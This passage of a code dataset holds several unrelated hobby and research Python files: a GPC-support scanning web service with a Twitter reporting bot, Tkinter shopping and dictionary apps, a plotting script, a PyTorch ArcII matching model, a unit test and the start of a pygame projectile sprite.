db.updateproducts()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cart = Cart()\r\n root = tk.Tk()\r\n root.title(\"Harry Pickle's Delightful Surprise\")\r\n shoppingIndex(root)\r\n root.mainloop()\r\n\r\n","repo_name":"HCraig217/Python-final-project","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2876009067","text":"import functools\nimport gevent\nimport idna\nimport logging\nimport re\nimport requests\nimport rfc3339\nimport time\n\nfrom bottle import Bottle, request, response, static_file, template, redirect\nfrom datetime import timedelta\nfrom publicsuffixlist import PublicSuffixList\nfrom requests_oauthlib import OAuth1\nfrom urllib.parse import urlsplit\n\nfrom utils.param_parse import ParamParseError, parse_params, string_param, boolean_param\n\nfrom .misc import html_default_error_hander, security_headers, set_headers\n\n\nlog = logging.getLogger(__name__)\n\n# Disable some logging to reduce log spam.\n# Elasticsearch logs all requests at (at least) INFO level.\nlogging.getLogger('elasticsearch').setLevel(logging.WARNING)\n\nPSL_CACHE_SIZE = 10_000\npsl = PublicSuffixList()\n\n# Domains are a series of two or more names, separated by periods, with an optional trailing period.\n# (Technically one name is allowed, but TLDs aren't usually HTTP sites.)\n# (Note that we actually strip any trailing period during normalization - along with lowercasing\n# characters - but support has been left in the regex for completeness.)\n# Each name can contain latin characters (case insensitive), digits, or dashes.\n# Names can't be longer than 63 characters, or start/end with a dash.\n# The final name - the TLD - can't be numeric (only digits).\nDOMAIN_REGEX = re.compile(r'^(?:[a-z\\d](?:[a-z\\d-]{0,61}[a-z\\d])?\\.)+(?!\\d+\\.?$)[a-z\\d](?:[a-z\\d-]{0,61}[a-z\\d])?\\.?$')\nDOMAIN_MAX_LENGTH = 253\n\nREQUEST_TIMEOUT_INDIVIDUAL = 5\n\nSCAN_START_TIMEOUT = 20\nSCAN_TIMEOUT = 30\nSCAN_AGENT = 'GpcSupBot'\nSCAN_HEADERS = {'User-Agent': f'{SCAN_AGENT}/0.1 (https://gpcsup.com)'}\nROBOTS_MAX_CONTENT_LENGTH = 512 * 1024 # 512kB\nGPC_PATH = '/.well-known/gpc.json'\nGPC_MAX_CONTENT_LENGTH = 1024 # 1kB\n\nSCAN_TTL = timedelta(minutes=10)\nNEXT_SCAN_OFFSET = timedelta(days=7)\nSCAN_FAIL_OFFSETS = [\n timedelta(days=1),\n timedelta(days=7),\n timedelta(days=30),\n]\n\nSCAN_RESULT_MAX_AGE_SECS = SCAN_TTL.seconds\nSCAN_RESULT_HEADERS = {'Cache-Control': f'max-age={SCAN_RESULT_MAX_AGE_SECS}'}\n\nSTATIC_FILE_MAX_AGE_SECS = timedelta(hours=1).seconds\nSTATIC_FILE_HEADERS = {'Cache-Control': f'max-age={STATIC_FILE_MAX_AGE_SECS}'}\n\nSITES_PAGE_SIZE = 8\n\nSERVER_READY = True\n\n\nclass ScanError(Exception):\n \"\"\"The scan has failed, and the user should be shown the specified template.\"\"\"\n\n def __init__(self, template, **kwargs):\n self.template = template\n self.kwargs = kwargs\n\n\n@functools.lru_cache(maxsize=PSL_CACHE_SIZE)\ndef extract_base_domain(domain, return_unknown=True):\n base_domain = psl.privatesuffix(domain)\n # If return_unknown is set, return the domain if its eTLD isn't known.\n if base_domain is None and return_unknown:\n base_domain = domain\n return base_domain\n\n\ndef domain_is_www_subdomain(domain):\n base_domain = extract_base_domain(domain)\n return domain == f'www.{base_domain}'\n\n\ndef normalise_domain(domain):\n domain = domain.lower()\n\n # Handle users copying domains with the scheme attached.\n # Only allow these two schemes - GPC is for HTTP(s).\n if domain.startswith('https://'):\n domain = domain[8:]\n elif domain.startswith('http://'):\n domain = domain[7:]\n\n # Similar to handling schemes, handle one slash at the end of the domain.\n if domain.endswith('/'):\n domain = domain[:-1]\n\n # Strip any optional trailing period from the domain.\n if domain.endswith('.'):\n domain = domain[:-1]\n\n try:\n # Convert to and from IDNA encoding with compatibility mapping enabled to normalise.\n domain = idna.decode(idna.encode(domain, uts46=True))\n except idna.IDNAError:\n # Ignore IDNA errors and return the domain without IDNA normalisation.\n # Any IDNA error will cause check_domain() to fail anyway.\n pass\n\n return domain\n\n\ndef check_domain(domain):\n try:\n # Convert domains to IDNA format before checking length and format.\n idna_domain = idna.encode(domain).decode('ASCII')\n except idna.IDNAError as e:\n log.warning('IDNA error when checking %(domain)s: %(error)s',\n {'domain': domain, 'error': e})\n return False\n\n if len(idna_domain) > DOMAIN_MAX_LENGTH:\n return False\n\n match = DOMAIN_REGEX.fullmatch(idna_domain)\n if match is None:\n return False\n\n return True\n\n\ndef extract_domain_from_url(url):\n split_url = urlsplit(url)\n domain = split_url.netloc\n if ':' in domain:\n domain = domain.split(':', 1)[0]\n\n return normalise_domain(domain)\n\n\ndef construct_app(es_dao,\n service_protocol, service_hostname,\n service_port, service_path,\n well_known_service, testing_mode,\n **kwargs):\n\n app = Bottle()\n app.default_error_handler = html_default_error_hander\n\n app.install(security_headers)\n\n service_address = f'{service_protocol}://{service_hostname}'\n if service_port:\n service_address += f':{service_port}'\n if service_path:\n service_address += service_path\n\n @app.get('/-/live')\n def live():\n return 'Live'\n\n @app.get('/-/ready')\n def ready():\n if SERVER_READY:\n return 'Ready'\n else:\n response.status = 503\n return 'Unavailable'\n\n @app.get('/main.css')\n def css():\n return static_file('main.css', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n # Set CORP to allow Firefox for Android to load icons.\n # Firefox for Android seems to consider the icon loader a different origin.\n #\n # Favicon stuff generated at:\n # https://favicon.io/favicon-generator/?t=gs&ff=Roboto Slab&fs=80&fc=%23fff&b=rounded&bc=%2300885D\n @app.get('/favicon.ico',\n sh_updates={'Cross-Origin-Resource-Policy': 'cross-origin'})\n def icon():\n return static_file('favicon.ico', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.png',\n sh_updates={'Cross-Origin-Resource-Policy': 'cross-origin'})\n def root_pngs(filename):\n return static_file(f'{filename}.png', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.js')\n def root_js(filename):\n return static_file(f'{filename}.js', root='static', headers=STATIC_FILE_HEADERS.copy())\n\n @app.get('/.well-known/gpc.json')\n def global_privacy_control():\n return {'gpc': True, 'lastUpdate': '2021-07-17'}\n\n @app.get('/sitemap.xml')\n def sitemap():\n\n total, results = es_dao.find(supports_gpc=True, is_base_domain=True,\n sort=['rank', 'domain'], limit=1000, source=['domain'])\n domains = [result[0]['domain'] for result in results]\n\n for header, value in STATIC_FILE_HEADERS.items():\n response.set_header(header, value)\n response.set_header('Content-Type', 'text/xml')\n return template('sitemap', service_address=service_address, domains=domains)\n\n @app.get('/')\n def index():\n try:\n params = parse_params(request.query.decode(),\n domain=string_param('domain', strip=True,\n min_length=1, max_length=DOMAIN_MAX_LENGTH))\n domain = params.get('domain')\n\n except ParamParseError:\n domain = None\n\n if domain:\n domain = normalise_domain(domain)\n if not check_domain(domain):\n domain = None\n\n scanned_count_gl = gevent.spawn(es_dao.count_scanned, timeout=30)\n reporting_count_gl = gevent.spawn(es_dao.count_reporting, timeout=30)\n\n gevent.joinall([scanned_count_gl, reporting_count_gl], timeout=30)\n scanned_count = scanned_count_gl.get()\n supporting_count, _ = reporting_count_gl.get()\n\n well_known_search = f'{well_known_service}/?q=resource%3Agpc+gpc_support%3Atrue+is_base_domain%3Atrue#results'\n\n r = template('index', domain=domain,\n scanned_count=scanned_count,\n supporting_count=supporting_count,\n well_known_search=well_known_search)\n set_headers(r, STATIC_FILE_HEADERS)\n return r\n\n @app.post('/')\n def check_site():\n try:\n params = parse_params(request.forms.decode(),\n domain=string_param('domain', required=True, strip=True,\n min_length=1, max_length=DOMAIN_MAX_LENGTH),\n no_rescan=boolean_param('no_rescan', default=False, empty=True,\n strip=True))\n except ParamParseError:\n return template('gpc_invalid', domain=None)\n\n domain = normalise_domain(params['domain'])\n if not check_domain(domain):\n return template('gpc_invalid', domain=domain)\n\n result = es_dao.get(domain)\n if result is not None:\n if params['no_rescan'] or result['status'] == 'pending':\n redirect(f'/sites/{domain}')\n\n # Non-pending scans should have a scan datetime.\n last_scan_dt = rfc3339.parse_datetime(result['last_scan_dt'])\n # If the last scan hasn't expired yet, don't rescan.\n if rfc3339.now() < last_scan_dt + SCAN_TTL:\n if testing_mode:\n log.info('Would have redirected to existing scan for %(domain)s if on prod.',\n {'domain': domain})\n else:\n redirect(f'/sites/{domain}')\n\n r = requests.post(well_known_service + '/sites/', data={'domain': domain, 'rescan': 'true'})\n r.raise_for_status()\n\n redirect(f'/sites/{domain}')\n\n @app.get('/sites/')\n def get_site(domain):\n domain = normalise_domain(domain)\n if not check_domain(domain):\n return template('gpc_invalid', domain=domain)\n\n # Well-Known doesn't scan www subdomains - redirect to the base domain instead.\n if domain_is_www_subdomain(domain):\n base_domain = extract_base_domain(domain)\n redirect(f'/sites/{base_domain}')\n\n result = es_dao.get(domain)\n if result is None:\n redirect(f'/?domain={domain}')\n\n status = result['status']\n scan_data = result.get('scan_data')\n if status == 'pending':\n return template('gpc_pending', domain=domain)\n elif status == 'blocked':\n return template('gpc_blocked', domain=domain)\n elif status == 'failed' and not scan_data:\n return template('gpc_error', domain=domain)\n\n # Status should be `ok`, or `failed` but with a previously successful scan.\n # In either case, `scan_data` should be present.\n assert scan_data\n\n scheme = scan_data['scheme']\n\n scan_dt = rfc3339.parse_datetime(scan_data['scan_dt'])\n\n if result['scan_priority'] == 0:\n rescan_queued = True\n can_rescan = False\n else:\n rescan_queued = False\n last_scan_dt = rfc3339.parse_datetime(result['last_scan_dt'])\n can_rescan = (last_scan_dt + SCAN_TTL) < rfc3339.now()\n\n error = scan_data.get('error')\n if error:\n message = None\n if error == 'not-found':\n message = 'The GPC support resource was not found.'\n elif error in ('unexpected-scheme-redirect', 'unexpected-status',\n 'client-error', 'server-error', 'unexpected-status'):\n message = 'Server responded unexpectedly when fetching the GPC support resource.'\n elif error in ('parse-error', 'json-parse-error', 'unexpected-json-root-type',\n 'content-too-long', 'content-length-too-long', 'bad-content'):\n message = 'The GPC support resource is invalid.'\n elif error:\n log.error('Unsupported GPC scan error %(error)s', {'error': error})\n\n r = template('gpc_unknown', scheme=scheme, domain=domain,\n message=message, scan_dt=scan_dt,\n rescan_queued=rescan_queued, can_rescan=can_rescan)\n set_headers(r, SCAN_RESULT_HEADERS)\n return r\n\n else:\n assert scan_data['found'], 'gpc.json should have been found if no error.'\n gpc_data = scan_data['gpc']\n\n warnings = scan_data.get('warnings') or []\n warnings += gpc_data.get('warning_codes') or []\n message = None\n if warnings:\n message_parts = []\n for warning in warnings:\n if warning == 'wrong-content-type':\n message_parts.append('incorrect content type')\n elif warning == 'invalid-update-field':\n message_parts.append('invalid last update field')\n\n if message_parts:\n message = ' and '.join(message_parts) + '.'\n\n last_update = gpc_data['parsed'].get('lastUpdate')\n template_name = 'gpc_supported' if gpc_data['parsed']['gpc'] else 'gpc_unsupported'\n r = template(template_name, scheme=scheme, domain=domain,\n last_update=last_update, message=message, scan_dt=scan_dt,\n rescan_queued=rescan_queued, can_rescan=can_rescan)\n set_headers(r, SCAN_RESULT_HEADERS)\n return r\n\n return app\n\n\ndef run_report(es_dao,\n twitter_consumer_key, twitter_consumer_secret,\n twitter_token_key, twitter_token_secret,\n well_known_service, testing_mode, **kwargs):\n\n oauth = OAuth1(client_key=twitter_consumer_key,\n client_secret=twitter_consumer_secret,\n resource_owner_key=twitter_token_key,\n resource_owner_secret=twitter_token_secret)\n\n well_known_search = f'{well_known_service}/?q=resource%3Agpc+gpc_support%3Atrue+is_base_domain%3Atrue#results'\n\n report_dt = rfc3339.now()\n\n last_report = es_dao.find_last_report()\n\n if last_report:\n last_report_dt = rfc3339.parse_datetime(last_report['report_dt'])\n if report_dt - last_report_dt < timedelta(hours=16):\n log.warning('Last report less than 16 hours ago: %(last_report_dt)s',\n {'last_report_dt': rfc3339.datetimetostr(last_report_dt)})\n return False\n\n supported, unsupported = es_dao.count_reporting()\n scanned = es_dao.count_scanned()\n\n tweeting = bool(supported or unsupported)\n\n if last_report:\n\n if supported == last_report['supported'] and \\\n unsupported == last_report['unsupported'] and \\\n scanned == last_report['scanned']:\n # Don't tweet if nothing has changed since the last report.\n tweeting = False\n log.warning('No change in stats since last report: '\n '%(supported_count)d:%(unsupported_count)d/%(scanned_count)d',\n {'supported_count': supported,\n 'unsupported_count': unsupported,\n 'scanned_count': scanned})\n\n if last_report['twitter_bot']['tweeting'] and not last_report['twitter_bot']['tweeted']:\n log.warning('Last report wasn\\'t tweeted: %(last_report_dt)s',\n {'last_report_dt': rfc3339.datetimetostr(last_report_dt)})\n\n tweet = None\n if tweeting:\n tweet_lines = []\n\n if supported:\n tweet_line = f'{supported:,d} sites report they support #GPC'\n if last_report:\n last_supported = last_report['supported']\n supported_change = supported - last_supported\n if last_supported > 0:\n supported_change_percent = abs(supported_change / last_supported) * 100\n if supported_change > 0:\n tweet_line += f' (+{supported_change_percent:.3g}%)'\n elif supported_change < 0:\n tweet_line += f' (-{supported_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n if unsupported:\n tweet_line = f'{unsupported:,d} sites report they don\\'t support #GPC'\n if last_report:\n last_unsupported = last_report['unsupported']\n unsupported_change = unsupported - last_unsupported\n if last_unsupported > 0:\n unsupported_change_percent = abs(unsupported_change / last_unsupported) * 100\n if unsupported_change > 0:\n tweet_line += f' (+{unsupported_change_percent:.3g}%)'\n elif unsupported_change < 0:\n tweet_line += f' (-{unsupported_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n # Only report number of sites scanned if some reporting sites were found.\n if scanned and (supported or unsupported):\n tweet_line = f'{scanned:,d} sites scanned'\n if last_report:\n last_scanned = last_report['scanned']\n scanned_change = scanned - last_scanned\n if last_scanned > 0:\n scanned_change_percent = abs(scanned_change / last_scanned) * 100\n if scanned_change > 0:\n tweet_line += f' (+{scanned_change_percent:.3g}%)'\n elif scanned_change < 0:\n tweet_line += f' (-{scanned_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n if supported:\n tweet_lines.append(well_known_search)\n\n tweet = '\\n'.join(tweet_lines)\n\n if testing_mode:\n if tweeting:\n log.info('Would tweet:\\n%(tweet)s', {'tweet': tweet})\n else:\n es_dao.create_report(report_dt, supported, unsupported, scanned,\n tweeting=tweeting, wait_for=True)\n\n if tweeting:\n r = requests.post('https://api.twitter.com/1.1/statuses/update.json',\n data={'status': tweet},\n auth=oauth)\n r.raise_for_status()\n\n r_json = r.json()\n tweet_id = r_json['id_str']\n\n log.info('Tweeted report %(report_dt)s. Tweet ID: `%(tweet_id)s`',\n {'report_dt': rfc3339.datetimetostr(report_dt),\n 'tweet_id': tweet_id,\n 'full_response': r_json})\n\n es_dao.set_tweeted(report_dt, tweet_id, wait_for=True)\n\n return True\n","repo_name":"braedon/gpcsup","sub_path":"gpcsup/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29128929573","text":"from tkinter import *\nfrom os.path import exists\nimport random\nimport requests\n\n\n# Static Variables\nBACKG = \"black\"\nBBACKG = \"brown\"\nFOREG = \"red\"\nFONTC = \"white\"\nFILE = \"dictionary.txt\"\nFILE1 = \"search_history.txt\"\n\n# UI Initialization\nUI = Tk()\nUI.title(\"Dictionary\")\nUI.configure(bg=BACKG)\nUI.geometry(\"1000x825\")\nUI.minsize(1000, 825)\n\n# Initialization\nrecent_searches_list = []\ndefinition_labels = []\nerror_label = Button(UI)\nerror = \"\"\nerror_bool = False\nwidgets = []\nwidgets1 = []\ndef file_checker():\n if not exists(FILE):\n open(FILE, \"w\")\n if not exists(FILE1):\n open(FILE1, \"w\")\nfile_checker()\n\n# Making the visuals for the Main Page\ndef main_page():\n def search_func(input):\n global error_label, error, error_bool\n file_checker()\n error_label.destroy()\n text = entry_box.get().lower()\n if text == \"\" and dict_items.curselection() != ():\n temp = int(list(dict_items.curselection())[0])\n with open(FILE, \"r\") as dict:\n items = dict.readlines()\n text = items[temp].lower().strip(\"\\n\")\n if input != \"\":\n text = input.strip(\"\\n\").lower()\n entry_box.delete(0, END)\n lines = open(FILE, \"r\").readlines()\n format_list = []\n for line in lines:\n format_list.append(line.strip(\"\\n\").lower())\n if text == \"\" or text not in format_list:\n error = \"Please enter a word in the dictionary!\"\n error_label = Label(UI, text=error, bg=BACKG,\n fg=FONTC, font=\"none 12 bold\")\n error_label.place(relx=0.5, rely=0.79, anchor=S)\n else:\n text = list(text)\n text[0] = text[0].capitalize()\n text = ''.join(text)\n for line in lines:\n if line.strip(\"\\n\") == text:\n destroy_main(widgets, recent_searches_list)\n word_page(text)\n error_bool = False\n with open(FILE1, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n if text.lower() == line.strip(\"\\n\").lower():\n error_bool = True\n if error_bool == False:\n lines.insert(0, f\"{text}\\n\")\n else:\n for j, line in enumerate(lines):\n if line.strip(\"\\n\") == text:\n lines.insert(0, line)\n lines.pop(j+1)\n # Matching to dict_items listbox to the text file\n if input == \"\":\n with open(FILE1, \"w+\") as dict:\n for line in lines:\n dict.write(line)\n dict_api(text, True)\n\n def add_word():\n global error_label, error, error_bool\n file_checker()\n error_label.destroy()\n text = entry_box.get().lower()\n if text != \"\":\n dict_api(text, False)\n text = list(text)\n text[0] = text[0].capitalize()\n text = ''.join(text)\n entry_box.delete(0, END)\n dict_items.delete(0, END)\n with open(FILE, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n if text.lower() == line.strip(\"\\n\").lower():\n error = \"This word is already in the dictionary!\"\n error_bool = True\n if error_bool == False:\n lines.append(f\"{text}\\n\")\n lines.sort()\n # Matching to dict_items listbox to the text file\n with open(FILE, \"w+\") as dict:\n for line in lines:\n dict.write(line)\n dict_items.insert(END, line.strip(\"\\n\"))\n \n else:\n error = \"Please enter a word!\"\n error_label = Label(UI, text=error, bg=BACKG,\n fg=FONTC, font=\"none 12 bold\")\n error_label.place(relx=0.5, rely=0.79, anchor=S)\n\n def dict_api(word, check):\n global definition_labels, error, error_bool\n response = requests.get(f\"https://api.dictionaryapi.dev/api/v2/entries/en/{word}\")\n definition = response.json()\n definitions = []\n if len(definition) == 3:\n error = \"This word has no dictionary definitions!\"\n error_bool = True\n else:\n if len(definition[0]['meanings'][0]['definitions']) < 5:\n numb = len(definition[0]['meanings'][0]['definitions'])\n else:\n numb = 5\n for i in range(0, numb):\n definitions.append(definition[0]['meanings'][0]['definitions'][i]['definition'])\n # Make up to 5 labels for definitions\n if check == True:\n for j in range(0, len(definitions)):\n definition_labels.append(Label(UI, text=definitions[j],\n bg=BACKG, fg=FONTC, justify=\"left\", font=\"none 12 bold\"))\n definition_labels[j].place(relx=0.5, rely=0.23 + (j / 10), anchor=CENTER)\n error = \"\"\n error_bool = False\n return error_bool\n\n def destroy_main(widgets, recent_searches):\n for i, j in zip(widgets, recent_searches):\n i.destroy()\n j.destroy()\n recent_searches.clear()\n\n def random_entry():\n dict = open(FILE, \"r\").readlines()\n rand = random.randint(0, (len(dict) - 1))\n search_func(dict[rand])\n\n dict_label = Label(UI, text=\"Dictionary\", bg=BACKG,\n fg=FONTC, font=\"none 35 bold\")\n dict_label.place(relx=0.5, rely=0.01, anchor=N)\n\n scrollbar = Scrollbar(UI, orient=\"vertical\")\n\n dict_items = Listbox(UI, bg=BBACKG, fg=FONTC, width=25, height=14,\n font=\"none 20 bold\", highlightbackground=BACKG, yscrollcommand=scrollbar.set)\n dict_items.place(relx=0.5, rely=0.08, anchor=N)\n\n info_label = Label(UI, text=\"Type in the entry box/select an item to search or add words!\",\n bg=BACKG, fg=FONTC, font=\"none 12 bold\")\n info_label.place(relx=0.5, rely=0.68, anchor=S)\n\n entry_box = Entry(UI, bg=BBACKG, fg=FONTC, width=20, font=\"none 20 bold\")\n entry_box.place(relx=0.5, rely=0.76, anchor=S)\n\n search = Button(UI, text=\"Search\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=lambda: search_func(\"\"))\n search.place(relx=0.4, rely=0.91, anchor=S)\n\n add_word_button = Button(UI, text=\"Add Word!\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=add_word)\n add_word_button.place(relx=0.6, rely=0.91, anchor=S)\n\n random_button = Button(UI, text=\"Go To Random Entry!\", bg=BBACKG,\n fg=FONTC, width=32, height=4, font=\"none 8 bold\", command=random_entry)\n random_button.place(relx=0.85, rely=0.41, anchor=S)\n\n recent_label = Label(UI, text=\"These are the 10 most recent searches!\",\n bg=BACKG, fg=FONTC, font=\"none 12 bold\")\n recent_label.place(relx=0.155, rely=0.23, anchor=S)\n\n # For the 10 most recent searches buttons\n dict_list = open(FILE1, \"r\").readlines()\n if len(dict_list) <= 10:\n for i in range(0, 11 - len(dict_list)):\n dict_list.append(\"Less than \\n10 Searches!\")\n for i in range(0, 10):\n if i <= 4:\n x = 0.08\n y = 0\n else:\n x = 0.23\n y = 0.25\n recent_searches_list.append(Label(UI, text=(\n f\"{i + 1}: {dict_list[i]}\"), bg=BACKG, fg=FONTC, width=17, font=\"none 10 bold\"))\n recent_searches_list[i].place(\n relx=x, rely=(i / 20) + 0.28 - y, anchor=S)\n\n with open(FILE, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n dict_items.insert(END, line.strip(\"\\n\"))\n\n# setting a list of all the widgets to delete all widgets\n widgets = [dict_label, scrollbar, dict_items, info_label, entry_box, error_label,\n search, add_word_button, random_button, recent_label]\n\n# Setting up specific pages for each individual word\ndef word_page(word):\n def destroy_entry(word):\n file_checker()\n lines = open(FILE, \"r\").readlines()\n with open(FILE, \"w\") as fp:\n for line in lines:\n if line.strip(\"\\n\") != word:\n fp.write(line)\n lines = open(FILE1, \"r\").readlines()\n with open(FILE1, \"w\") as fp:\n for line in lines:\n if line.strip(\"\\n\") != word:\n fp.write(line)\n destroy_word(widgets1)\n\n def destroy_word(widgets1):\n file_checker()\n for i in widgets1:\n i.destroy()\n for j in definition_labels:\n j.destroy()\n definition_labels.clear()\n main_page()\n\n\n word_label = Label(UI, text=word, bg=BACKG, fg=FONTC, font=\"none 35 bold\")\n word_label.place(relx=0.5, rely=0.01, anchor=N)\n\n info_label = Label(UI, text=\"These are the top 5 definitions!\", bg=BACKG, fg=FONTC, font=\"none 20 bold\")\n info_label.place(relx=0.5, rely=0.08, anchor=N)\n\n return_button = Button(UI, text=\"<- Back to Main Page\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=lambda: destroy_word(widgets1))\n return_button.place(relx=0.4, rely=0.91, anchor=S)\n\n delete_entry = Button(UI, text=\"Delete Word\", bg=BBACKG, fg=FONTC, width=24,\n height=4, font=\"none 8 bold\", command=lambda: destroy_entry(word))\n delete_entry.place(relx=0.6, rely=0.91, anchor=S)\n\n widgets1 = [word_label, info_label, return_button, delete_entry]\n\n\nmain_page()\nUI.mainloop()\n","repo_name":"Ckmedsker/Python","sub_path":"PersonalProjects/Dictionary/DictUI.py","file_name":"DictUI.py","file_ext":"py","file_size_in_byte":9791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15191590428","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nnum_list = []\r\ntemp = 0\r\nfor line in open('D:/zhengqi_train.txt').readlines():\r\n if temp != 0:\r\n num = list(map(float, line.split()))\r\n num_list.append(num)\r\n temp += 1\r\n# print(num_list)\r\nnum_mat = np.mat(num_list)\r\n# print(list(num_mat[:, 0]))\r\n\r\n# V0,V1,V4(还行),V8,V27,V31(还行),V37(还行)，\r\ntemp_list = []\r\nfor a in range(len(num_list)):\r\n temp_list.append(1)\r\n# print(len(num_list[0])) # 39\r\nfor i in range(38):\r\n plt.scatter(list(num_mat[:, i]), temp_list, c='b', s=0.05) # 一维图\r\n # plt.savefig('V'+str(i))\r\n plt.show()\r\n '''\r\n plt.scatter(list(num_mat[:, i]), list(num_mat[:, 38]), c='b') # 二维图\r\n # path = 'V'+str(i)+'-'+'target'\r\n plt.title(str('V'+str(i)+'-'+'target'))\r\n plt.savefig(str('V'+str(i)+'-'+'target'))\r\n plt.show()\r\n '''\r\n","repo_name":"luyi1092091590/data_mining","sub_path":"lianxi.py","file_name":"lianxi.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42869699745","text":"def addition(a,b,c):\r\n s = a+b+c\r\n print('Sum:',s)\r\n\r\nx,y,z = 1,2,3\r\n\r\naddition(x,y,z)\r\n#addition(x,y) ERROR 1 positional argument required 'c'\r\naddition(z,x,y)\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"rahulgusain2511/Python_Programs_All","sub_path":"Batch 2 XII/Functions/PositionalArgument.py","file_name":"PositionalArgument.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13655067722","text":"\nimport numpy as np\nimport torch\nfrom torch import nn\n\nclass Embedding(nn.Module):\n def __init__(self, embedding_dim, word_size, pretrained=None, pretrained_flag = False):\n super(Embedding, self).__init__()\n self.embedding_dim = embedding_dim\n self.word_size = word_size\n self.embedding = nn.Embedding(self.word_size, self.embedding_dim, padding_idx=0) #\n if pretrained_flag == True:\n self.embedding_init(pretrained)\n\n # embedding层的初始化\n def embedding_init(self, pretrained):\n initrange = 0.1\n if pretrained is not None:\n print(\"Setting pretrained embedding weights\")\n pretrained = pretrained.astype(np.float32)\n pretrained = torch.from_numpy(pretrained)\n self.embedding.weight = nn.Parameter(pretrained, requires_grad=False)\n # self.embedding.weight.data.uniform_(-initrange,initrange)\n\n def getEmbedding(self, input):\n return self.embedding(input)\n\nclass ArcII(nn.Module):\n def __init__(self, args, word_vec, word_embeddings):\n super(ArcII, self).__init__()\n self.Embedding = Embedding(args.embedding_dim, word_vec, word_embeddings, True)\n self.q_conv1 = nn.Conv1d(1, 32, (3, args.embedding_dim) )\n self.d_conv1 = nn.Conv1d(1, 32, (3, args.embedding_dim) )\n self.dropout = nn.Dropout(args.dropout)\n self.type = args.type\n self.first_conv2D = nn.Sequential(\\\n nn.Conv2d(1,32,(3,3)),\\\n nn.ReLU(),\\\n nn.MaxPool2d(3, 3))\n self.second_conv2D = nn.Sequential(\\\n nn.Conv2d(32,32,(3,3)),\\\n nn.ReLU(),\\\n nn.MaxPool2d(3, 3))\n\n self.FC = nn.Sequential(\n nn.Linear(32 * 4, 32),\n nn.ReLU(),\n nn.Linear(32, 1),\n nn.Sigmoid()\n )\n def forward(self, content, cit_content, content_mask = None, cit_content_mask = None):\n content = self.Embedding.getEmbedding(content)\n cit_content = self.Embedding.getEmbedding(cit_content)\n if self.type == \"train\":\n content = self.dropout(content)\n cit_content = self.dropout(cit_content)\n\n content = content.unsqueeze(1)\n cit_content = cit_content.unsqueeze(1)\n # batcg * 1 * length * embedding_dim -> batch * out_size * length - 2 * 1\n conv_content = self.q_conv1(content).squeeze(3)\n conv_cit_content = self.d_conv1(cit_content).squeeze(3)\n\n #match 匹配\n match = torch.bmm(conv_content, conv_cit_content.transpose(1, 2))\n\n first_conv2 = self.first_conv2D(match.unsqueeze(1))\n # print(first_conv2.size())\n\n second_conv2 = self.second_conv2D(first_conv2)\n # print(second_conv2.size())\n\n conv_out = second_conv2.view(second_conv2.size(0), -1)\n\n result = self.FC(conv_out)\n\n return result\n","repo_name":"nlp520/Citation_Recommendation","sub_path":"Retrieval/models/arcii.py","file_name":"arcii.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"74035406534","text":"#!/usr/bin/python3\n\"\"\"tests for BaseModel class\"\"\"\nimport unittest\nfrom models.base_model import BaseModel\nfrom json import loads\n\n\nclass TESTBASEMODEL(unittest.TestCase):\n \"\"\"contains fuctions that tests the functionality\n of BaseModel class\"\"\"\n\n def test_save(self):\n \"\"\"tests the presence of some attributes\"\"\"\n\n self.base = BaseModel()\n self.base.name = 'bola'\n self.base.save()\n filename = 'file.json'\n with open(filename, 'r', encoding='utf-8') as file:\n fil_cnt = file.read()\n dict_cnt = loads(fil_cnt)\n self.assertTrue('{}.{}'.format(type(self.base).__name__,\n self.base.id) in dict_cnt)\n \n dict_base = self.base.to_dict()\n self.assertIsInstance(dict_base, dict)\n","repo_name":"Alausa2001/AirBnB_clone_0","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"7029406814","text":"\"\"\"JointProject NinjaSamurai.\"\"\"\nimport pygame\nimport system\nimport utility\n\nimage_dir = system.IMAGES_FOLDER + \"range_attack/\"\nimages_haduken = utility.load_images_by_dir_right(image_dir)\nimages_haduken_len = len(images_haduken[0])\n\n\nclass RangeAttack(pygame.sprite.Sprite):\n \"\"\"\n Range attack class.\n\n :param x: coordinate of x\n :param y: coordinate of y\n :param player_direction: left or right\n \"\"\"\n\n def __init__(self, x, y, player_direction):\n \"\"\"Init range attack.\"\"\"\n pygame.sprite.Sprite.__init__(self)\n self.image = images_haduken[player_direction][0]\n self.mask = pygame.mask.from_surface(self.image)\n self.rect = self.image.get_rect()\n self.haduken_direction = player_direction\n self.start_x = x\n self.start_y = y\n self.rect.centery = y\n self.rect.centerx = x\n self.last_frame = False\n self.image_counter = 